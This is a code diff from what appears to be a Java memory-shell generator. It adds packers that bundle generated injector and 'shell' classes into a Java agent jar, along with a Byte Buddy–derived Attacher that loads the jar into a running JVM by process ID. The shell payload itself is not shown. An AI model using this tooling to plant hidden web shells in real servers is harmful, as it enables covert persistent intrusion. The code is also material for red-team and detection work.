@@ -92,25 +79,21 @@ public class AgentJarPacker implements JarPacker {
                     entry.getKey(),
                     entry.getValue(),
                     dependencyPackage,
-                    relocatePrefix,
+                    relocatePrefix);
-                    isRelocateEnabled);
         }
     }
 
     @SneakyThrows
     private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
-                               String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
+                               String dependencyPackage, String relocatePrefix) {
         targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
-        byte[] processedBytes = isRelocateEnabled ?
+        byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
-                ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
-                classBytes;
         targetJar.write(processedBytes);
         targetJar.closeEntry();
     }
 
     @SneakyThrows
-    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
-        String packageToMove = baseClass.getPackage().getName().replace('.', '/');
         URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
         String sourceUrlString = sourceUrl.toString();
         if (sourceUrlString.contains("!BOOT-INF")) {
@@ -125,28 +108,36 @@ public class AgentJarPacker implements JarPacker {
             }
             sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
         }
-        JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
+        try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
-        Enumeration<JarEntry> entries = sourceJar.entries();
+            Enumeration<JarEntry> entries = sourceJar.entries();
-        while (entries.hasMoreElements()) {
+            while (entries.hasMoreElements()) {
-            JarEntry entry = entries.nextElement();
+                JarEntry entry = entries.nextElement();
-            String entryName = entry.getName();
+                String entryName = entry.getName();
-            if (entryName.startsWith(packageToMove)) {
+                if (entryName.equals("META-INF/MANIFEST.MF")
-                InputStream entryStream = sourceJar.getInputStream(entry);
+                        || entryName.contains("module-info.class")) {
-                byte[] bytes = IOUtils.toByteArray(entryStream);
+                    continue;
-                if (relocate) {
+                }
-                    targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
+                if (!entry.isDirectory()) {
-                    if (bytes.length > 0) {
+                    try (InputStream entryStream = sourceJar.getInputStream(entry)) {
-                        bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
+                        byte[] bytes = IOUtils.toByteArray(entryStream);
+                        if (StringUtils.isNoneEmpty(relocatePrefix)) {
+                            targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
+                            if (entryName.endsWith(".class")) {
+                                if (bytes.length > 0) {
+                                    bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
+                                }
+                            } else {
+                                targetJar.putNextEntry(entry);
+                            }
+                        } else {
+                            targetJar.putNextEntry(entry);
+                        }
+                        targetJar.write(bytes);
                     }
-                } else {
-                    targetJar.putNextEntry(new JarEntry(entryName));
                 }
-                targetJar.write(bytes);
                 targetJar.closeEntry();
-                entryStream.close();
             }
         }
-        sourceJar.close();
     }
 
     /**

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJDKAttacherPacker.java

@@ -0,0 +1,190 @@
+package com.reajason.javaweb.memshell.packer.jar;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
+import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.objectweb.asm.Opcodes;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.net.URL;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.jar.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/1
+ */
+public class AgentJarWithJDKAttacherPacker implements JarPacker {
+    private static Path tempBootPath;
+
+    @Override
+    @SneakyThrows
+    public byte[] packBytes(GenerateResult generateResult) {
+        String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
+        String mainClassName = packageName + "." + Attacher.class.getSimpleName();
+        Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
+        String relocatePrefix = "shade/";
+
+        Map<String, byte[]> classes = new HashMap<>();
+        Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
+        Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
+        classes.putAll(attacherClasses);
+        classes.putAll(virtualMachineClasses);
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
+            addDependencies(targetJar, relocatePrefix);
+            addClassesToJar(targetJar, generateResult, relocatePrefix);
+            for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
+                String className = entry.getKey();
+                byte[] bytes = entry.getValue();
+                targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
+                targetJar.write(ClassBytesShrink.shrink(bytes, true));
+                targetJar.closeEntry();
+            }
+        }
+        return outputStream.toByteArray();
+    }
+
+    private Manifest createManifest(String agentClass, String mainClass) {
+        Manifest manifest = new Manifest();
+        Attributes attributes = manifest.getMainAttributes();
+        attributes.putValue("Manifest-Version", "1.0");
+        attributes.putValue("Agent-Class", agentClass);
+        attributes.putValue("Premain-Class", agentClass);
+        attributes.putValue("Main-Class", mainClass);
+        attributes.putValue("Can-Redefine-Classes", "true");
+        attributes.putValue("Can-Retransform-Classes", "true");
+        return manifest;
+    }
+
+    @SneakyThrows
+    private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
+        String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
+        addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
+    }
+
+    @SneakyThrows
+    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
+        String dependencyPackage = Opcodes.class.getPackage().getName();
+        // Add injector class
+        addClassEntry(targetJar,
+                generateResult.getInjectorClassName(),
+                generateResult.getInjectorBytes(),
+                dependencyPackage,
+                relocatePrefix);
+
+        // Add shell class
+        addClassEntry(targetJar,
+                generateResult.getShellClassName(),
+                generateResult.getShellBytes(),
+                dependencyPackage,
+                relocatePrefix);
+
+        // Add inner classes
+        for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
+            addClassEntry(targetJar,
+                    entry.getKey(),
+                    entry.getValue(),
+                    dependencyPackage,
+                    relocatePrefix);
+        }
+    }
+
+    @SneakyThrows
+    private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
+                               String dependencyPackage, String relocatePrefix) {
+        targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
+        byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
+        targetJar.write(processedBytes);
+        targetJar.closeEntry();
+    }
+
+    @SneakyThrows
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
+        URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
+        String sourceUrlString = sourceUrl.toString();
+        if (sourceUrlString.contains("!BOOT-INF")) {
+            String path = sourceUrlString.substring("jar:nested:".length());
+            path = path.substring(0, path.indexOf("!/"));
+            String[] split = path.split("/!");
+            String bootJarPath = split[0];
+            String internalJarPath = split[1];
+            if (tempBootPath == null) {
+                tempBootPath = Files.createTempDirectory("mem-shell-boot");
+                unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
+            }
+            sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
+        }
+        try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
+            Enumeration<JarEntry> entries = sourceJar.entries();
+            while (entries.hasMoreElements()) {
+                JarEntry entry = entries.nextElement();
+                String entryName = entry.getName();
+                if (entryName.equals("META-INF/MANIFEST.MF")
+                        || entryName.contains("module-info.class")) {
+                    continue;
+                }
+                if (!entry.isDirectory()) {
+                    try (InputStream entryStream = sourceJar.getInputStream(entry)) {
+                        byte[] bytes = IOUtils.toByteArray(entryStream);
+                        if (StringUtils.isNoneEmpty(relocatePrefix)) {
+                            targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
+                            if (entryName.endsWith(".class")) {
+                                if (bytes.length > 0) {
+                                    bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
+                                }
+                            } else {
+                                targetJar.putNextEntry(entry);
+                            }
+                        } else {
+                            targetJar.putNextEntry(entry);
+                        }
+                        targetJar.write(bytes);
+                    }
+                }
+                targetJar.closeEntry();
+            }
+        }
+    }
+
+    /**
+     * Extracts a JAR file to a temporary directory
+     *
+     * @param jarPath  Path to the source JAR file
+     * @param tempPath Path to the temporary directory
+     */
+    @SneakyThrows
+    public static void unzip(String jarPath, String tempPath) {
+        try (JarFile jarFile = new JarFile(jarPath)) {
+            Enumeration<JarEntry> entries = jarFile.entries();
+            while (entries.hasMoreElements()) {
+                JarEntry jarEntry = entries.nextElement();
+                File targetFile = new File(tempPath, jarEntry.getName());
+
+                if (jarEntry.isDirectory()) {
+                    targetFile.mkdirs();
+                    continue;
+                }
+
+                targetFile.getParentFile().mkdirs();
+                try (InputStream inputStream = jarFile.getInputStream(jarEntry);
+                     FileOutputStream outputStream = new FileOutputStream(targetFile)) {
+                    IOUtils.copy(inputStream, outputStream);
+                }
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJREAttacherPacker.java

@@ -0,0 +1,210 @@
+package com.reajason.javaweb.memshell.packer.jar;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
+import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.sun.jna.Platform;
+import com.sun.jna.platform.DesktopWindow;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.objectweb.asm.Opcodes;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.net.URL;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.jar.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/1
+ */
+public class AgentJarWithJREAttacherPacker implements JarPacker {
+    private static Path tempBootPath;
+
+    @Override
+    @SneakyThrows
+    public byte[] packBytes(GenerateResult generateResult) {
+        String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
+        String mainClassName = packageName + "." + Attacher.class.getSimpleName();
+        Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
+        String relocatePrefix = "shade/";
+
+        Map<String, byte[]> classes = new HashMap<>();
+        Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
+        Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
+        classes.putAll(attacherClasses);
+        classes.putAll(virtualMachineClasses);
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
+            addDependencies(targetJar, relocatePrefix);
+            addClassesToJar(targetJar, generateResult, relocatePrefix);
+            for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
+                String className = entry.getKey();
+                byte[] bytes = entry.getValue();
+                targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
+                targetJar.write(ClassBytesShrink.shrink(bytes, true));
+                targetJar.closeEntry();
+            }
+
+            String[] windowsDll = new String[]{
+                    "win32-x86/attach_hotspot_windows.dll",
+                    "win32-x86-64/attach_hotspot_windows.dll"
+            };
+            for (String dll : windowsDll) {
+                InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
+                if (stream != null) {
+                    byte[] bytes = IOUtils.toByteArray(stream);
+                    targetJar.putNextEntry(new JarEntry(dll));
+                    targetJar.write(bytes);
+                    targetJar.closeEntry();
+                }
+            }
+        }
+        return outputStream.toByteArray();
+    }
+
+    private Manifest createManifest(String agentClass, String mainClass) {
+        Manifest manifest = new Manifest();
+        Attributes attributes = manifest.getMainAttributes();
+        attributes.putValue("Manifest-Version", "1.0");
+        attributes.putValue("Agent-Class", agentClass);
+        attributes.putValue("Premain-Class", agentClass);
+        attributes.putValue("Main-Class", mainClass);
+        attributes.putValue("Can-Redefine-Classes", "true");
+        attributes.putValue("Can-Retransform-Classes", "true");
+        return manifest;
+    }
+
+    @SneakyThrows
+    private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
+        String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
+        addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
+
+        String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
+        addDependency(targetJar, Platform.class, jnaBaseName, null);
+        addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
+    }
+
+    @SneakyThrows
+    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
+        String dependencyPackage = Opcodes.class.getPackage().getName();
+        // Add injector class
+        addClassEntry(targetJar,
+                generateResult.getInjectorClassName(),
+                generateResult.getInjectorBytes(),
+                dependencyPackage,
+                relocatePrefix);
+
+        // Add shell class
+        addClassEntry(targetJar,
+                generateResult.getShellClassName(),
+                generateResult.getShellBytes(),
+                dependencyPackage,
+                relocatePrefix);
+
+        // Add inner classes
+        for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
+            addClassEntry(targetJar,
+                    entry.getKey(),
+                    entry.getValue(),
+                    dependencyPackage,
+                    relocatePrefix);
+        }
+    }
+
+    @SneakyThrows
+    private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
+                               String dependencyPackage, String relocatePrefix) {
+        targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
+        byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
+        targetJar.write(processedBytes);
+        targetJar.closeEntry();
+    }
+
+    @SneakyThrows
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
+        URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
+        String sourceUrlString = sourceUrl.toString();
+        if (sourceUrlString.contains("!BOOT-INF")) {
+            String path = sourceUrlString.substring("jar:nested:".length());
+            path = path.substring(0, path.indexOf("!/"));
+            String[] split = path.split("/!");
+            String bootJarPath = split[0];
+            String internalJarPath = split[1];
+            if (tempBootPath == null) {
+                tempBootPath = Files.createTempDirectory("mem-shell-boot");
+                unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
+            }
+            sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
+        }
+        try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
+            Enumeration<JarEntry> entries = sourceJar.entries();
+            while (entries.hasMoreElements()) {
+                JarEntry entry = entries.nextElement();
+                String entryName = entry.getName();
+                if (entryName.startsWith("META-INF")
+                        || entryName.contains("module-info.class")) {
+                    continue;
+                }
+                if (!entry.isDirectory()) {
+                    try (InputStream entryStream = sourceJar.getInputStream(entry)) {
+                        byte[] bytes = IOUtils.toByteArray(entryStream);
+                        if (StringUtils.isNoneEmpty(relocatePrefix)) {
+                            targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
+                            if (entryName.endsWith(".class")) {
+                                if (bytes.length > 0) {
+                                    bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
+                                }
+                            } else {
+                                targetJar.putNextEntry(entry);
+                            }
+                        } else {
+                            targetJar.putNextEntry(entry);
+                        }
+                        targetJar.write(bytes);
+                    }
+                }
+                targetJar.closeEntry();
+            }
+        }
+    }
+
+    /**
+     * Extracts a JAR file to a temporary directory
+     *
+     * @param jarPath  Path to the source JAR file
+     * @param tempPath Path to the temporary directory
+     */
+    @SneakyThrows
+    public static void unzip(String jarPath, String tempPath) {
+        try (JarFile jarFile = new JarFile(jarPath)) {
+            Enumeration<JarEntry> entries = jarFile.entries();
+            while (entries.hasMoreElements()) {
+                JarEntry jarEntry = entries.nextElement();
+                File targetFile = new File(tempPath, jarEntry.getName());
+
+                if (jarEntry.isDirectory()) {
+                    targetFile.mkdirs();
+                    continue;
+                }
+
+                targetFile.getParentFile().mkdirs();
+                try (InputStream inputStream = jarFile.getInputStream(jarEntry);
+                     FileOutputStream outputStream = new FileOutputStream(targetFile)) {
+                    IOUtils.copy(inputStream, outputStream);
+                }
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/Attacher.java

@@ -0,0 +1,942 @@
+package com.reajason.javaweb.memshell.packer.jar.attach;/*
+ * Copyright 2014 - Present Rafael Winterhalter
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.MalformedURLException;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.security.CodeSource;
+import java.security.PrivilegedAction;
+import java.security.ProtectionDomain;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
+ */
+public class Attacher {
+
+    /**
+     * Representation of the bootstrap {@link ClassLoader}.
+     */
+    private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
+
+    /**
+     * The character that is used to mark the beginning of the argument to the agent.
+     */
+    private static final String AGENT_ARGUMENT_SEPARATOR = "=";
+
+    /**
+     * The agent provides only {@code static} utility methods and should not be instantiated.
+     */
+    private Attacher() {
+        throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
+    }
+
+    public static void main(String[] args) throws Exception {
+        try {
+            Attacher.attach(args[0]);
+        } catch (Exception e) {
+            if (!e.getMessage().equals("0")) {
+                throw e;
+            }
+        }
+        System.out.println("ok");
+    }
+
+    /**
+     * <p>
+     * Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
+     * is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
+     * any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
+     * </p>
+     * <p>
+     * <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
+     * </p>
+     *
+     * @param agentJar  The agent jar file.
+     * @param processId The target process id.
+     */
+    public static void attach(File agentJar, String processId) {
+        attach(agentJar, processId, null);
+    }
+
+    public static void attach(String processId) {
+        attach(trySelfResolve(), processId, null);
+    }
+
+    /**
+     * <p>
+     * Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
+     * is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
+     * any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
+     * </p>
+     * <p>
+     * <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
+     * </p>
+     *
+     * @param agentJar  The agent jar file.
+     * @param processId The target process id.
+     * @param argument  The argument to provide to the agent.
+     */
+    public static void attach(File agentJar, String processId, String argument) {
+        install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
+    }
+
+    /**
+     * Installs a Java agent on a target VM.
+     *
+     * @param processId     The process id of the target JVM process.
+     * @param argument      The argument to provide to the agent.
+     * @param agentProvider The agent provider for the agent jar or library.
+     */
+    private static void install(String processId, String argument, AgentProvider agentProvider) {
+        AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
+        if (!attachmentAccessor.isAvailable()) {
+            throw new IllegalStateException("No compatible attachment provider is available");
+        }
+        try {
+            Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
+            String agent = agentProvider.resolve().getAbsolutePath();
+            Object virtualMachineInstance = virtualMachineType
+                    .getMethod("attach", String.class)
+                    .invoke(null, processId);
+            try {
+                virtualMachineType
+                        .getMethod("loadAgent", String.class, String.class)
+                        .invoke(virtualMachineInstance, agent, argument);
+            } finally {
+                virtualMachineType
+                        .getMethod("detach")
+                        .invoke(virtualMachineInstance);
+            }
+        } catch (RuntimeException exception) {
+            throw exception;
+        } catch (Exception exception) {
+            throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
+        }
+    }
+
+    /**
+     * Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
+     *
+     * @return The self-resolved jar file or {@code null} if the jar file cannot be located.
+     */
+    private static File trySelfResolve() {
+        try {
+            ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
+            if (protectionDomain == null) {
+                return null;
+            }
+            CodeSource codeSource = protectionDomain.getCodeSource();
+            if (codeSource == null) {
+                return null;
+            }
+            URL location = codeSource.getLocation();
+            if (!location.getProtocol().equals("file")) {
+                return null;
+            }
+            try {
+                File file = new File(location.toURI());
+                if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
+                    return null;
+                }
+                return file;
+            } catch (URISyntaxException ignored) {
+                return new File(location.getPath());
+            }
+        } catch (Exception ignored) {
+            return null;
+        }
+    }
+
+    /**
+     * An attachment provider is responsible for making the Java attachment API available.
+     */
+    public interface AttachmentProvider {
+
+        /**
+         * The default attachment provider to be used.
+         */
+        AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
+                ForJ9Vm.INSTANCE,
+                ForStandardToolsJarVm.JVM_ROOT,
+                ForStandardToolsJarVm.JDK_ROOT,
+                ForStandardToolsJarVm.MACINTOSH,
+                ForUserDefinedToolsJar.INSTANCE,
+                ForEmulatedAttachment.INSTANCE);
+
+        /**
+         * Attempts the creation of an accessor for a specific JVM's attachment API.
+         *
+         * @return The accessor this attachment provider can supply for the currently running JVM.
+         */
+        Accessor attempt();
+
+        /**
+         * An accessor for a JVM's attachment API.
+         */
+        interface Accessor {
+
+            /**
+             * The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
+             */
+            String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
+
+            /**
+             * The name of the {@code VirtualMachine} class on IBM J9 VMs.
+             */
+            String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
+
+            /**
+             * Determines if this accessor is applicable for the currently running JVM.
+             *
+             * @return {@code true} if this accessor is available.
+             */
+            boolean isAvailable();
+
+            /**
+             * Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
+             *
+             * @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
+             */
+            boolean isExternalAttachmentRequired();
+
+            /**
+             * Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
+             *
+             * @return The virtual machine type.
+             */
+            Class<?> getVirtualMachineType();
+
+            /**
+             * Returns a description of a virtual machine class for an external attachment.
+             *
+             * @return A description of the external attachment.
+             */
+            ExternalAttachment getExternalAttachment();
+
+            /**
+             * A canonical implementation of an unavailable accessor.
+             */
+            enum Unavailable implements Accessor {
+
+                /**
+                 * The singleton instance.
+                 */
+                INSTANCE;
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public boolean isAvailable() {
+                    return false;
+                }
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public boolean isExternalAttachmentRequired() {
+                    throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
+                }
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public Class<?> getVirtualMachineType() {
+                    throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
+                }
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public ExternalAttachment getExternalAttachment() {
+                    throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
+                }
+            }
+
+            /**
+             * Describes an external attachment to a Java virtual machine.
+             */
+            class ExternalAttachment {
+
+                /**
+                 * The fully-qualified binary name of the virtual machine type.
+                 */
+                private final String virtualMachineType;
+
+                /**
+                 * The class path elements required for loading the supplied virtual machine type.
+                 */
+                private final List<File> classPath;
+
+                /**
+                 * Creates an external attachment.
+                 *
+                 * @param virtualMachineType The fully-qualified binary name of the virtual machine type.
+                 * @param classPath          The class path elements required for loading the supplied virtual machine type.
+                 */
+                public ExternalAttachment(String virtualMachineType, List<File> classPath) {
+                    this.virtualMachineType = virtualMachineType;
+                    this.classPath = classPath;
+                }
+
+                /**
+                 * Returns the fully-qualified binary name of the virtual machine type.
+                 *
+                 * @return The fully-qualified binary name of the virtual machine type.
+                 */
+                public String getVirtualMachineType() {
+                    return virtualMachineType;
+                }
+
+                /**
+                 * Returns the class path elements required for loading the supplied virtual machine type.
+                 *
+                 * @return The class path elements required for loading the supplied virtual machine type.
+                 */
+                public List<File> getClassPath() {
+                    return classPath;
+                }
+            }
+
+            /**
+             * A simple implementation of an accessible accessor.
+             */
+            abstract class Simple implements Accessor {
+
+                /**
+                 * A {@code VirtualMachine} class.
+                 */
+                protected final Class<?> virtualMachineType;
+
+                /**
+                 * Creates a new simple accessor.
+                 *
+                 * @param virtualMachineType A {@code VirtualMachine} class.
+                 */
+                protected Simple(Class<?> virtualMachineType) {
+                    this.virtualMachineType = virtualMachineType;
+                }
+
+                /**
+                 * <p>
+                 * Creates an accessor by reading the process id from the JMX runtime bean and by attempting
+                 * to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
+                 * </p>
+                 * <p>
+                 * This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
+                 * </p>
+                 *
+                 * @param classLoader A class loader that is capable of loading the virtual machine type.
+                 * @param classPath   The class path required to load the virtual machine class.
+                 * @return An appropriate accessor.
+                 */
+                public static Accessor of(ClassLoader classLoader, File... classPath) {
+                    try {
+                        return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
+                                false,
+                                classLoader), Arrays.asList(classPath));
+                    } catch (ClassNotFoundException ignored) {
+                        return Unavailable.INSTANCE;
+                    }
+                }
+
+                /**
+                 * <p>
+                 * Creates an accessor by reading the process id from the JMX runtime bean and by attempting
+                 * to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
+                 * </p>
+                 * <p>
+                 * This accessor is supposed to work on any implementation of IBM's J9.
+                 * </p>
+                 *
+                 * @return An appropriate accessor.
+                 */
+                public static Accessor ofJ9() {
+                    try {
+                        return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
+                                Collections.<File>emptyList());
+                    } catch (ClassNotFoundException ignored) {
+                        return Unavailable.INSTANCE;
+                    }
+                }
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public boolean isAvailable() {
+                    return true;
+                }
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public Class<?> getVirtualMachineType() {
+                    return virtualMachineType;
+                }
+
+                /**
+                 * A simple implementation of an accessible accessor that allows for external attachment.
+                 */
+                protected static class WithExternalAttachment extends Simple {
+
+                    /**
+                     * The class path required for loading the virtual machine type.
+                     */
+                    private final List<File> classPath;
+
+                    /**
+                     * Creates a new simple accessor that allows for external attachment.
+                     *
+                     * @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
+                     * @param classPath          The class path required for loading the virtual machine type.
+                     */
+                    public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
+                        super(virtualMachineType);
+                        this.classPath = classPath;
+                    }
+
+                    /**
+                     * {@inheritDoc}
+                     */
+                    public boolean isExternalAttachmentRequired() {
+                        return true;
+                    }
+
+                    /**
+                     * {@inheritDoc}
+                     */
+                    public ExternalAttachment getExternalAttachment() {
+                        return new ExternalAttachment(virtualMachineType.getName(), classPath);
+                    }
+                }
+
+                /**
+                 * A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
+                 */
+                protected static class WithDirectAttachment extends Simple {
+
+                    /**
+                     * Creates a new simple accessor that implements direct attachment.
+                     *
+                     * @param virtualMachineType A {@code VirtualMachine} class.
+                     */
+                    public WithDirectAttachment(Class<?> virtualMachineType) {
+                        super(virtualMachineType);
+                    }
+
+                    /**
+                     * {@inheritDoc}
+                     */
+                    public boolean isExternalAttachmentRequired() {
+                        return false;
+                    }
+
+                    /**
+                     * {@inheritDoc}
+                     */
+                    public ExternalAttachment getExternalAttachment() {
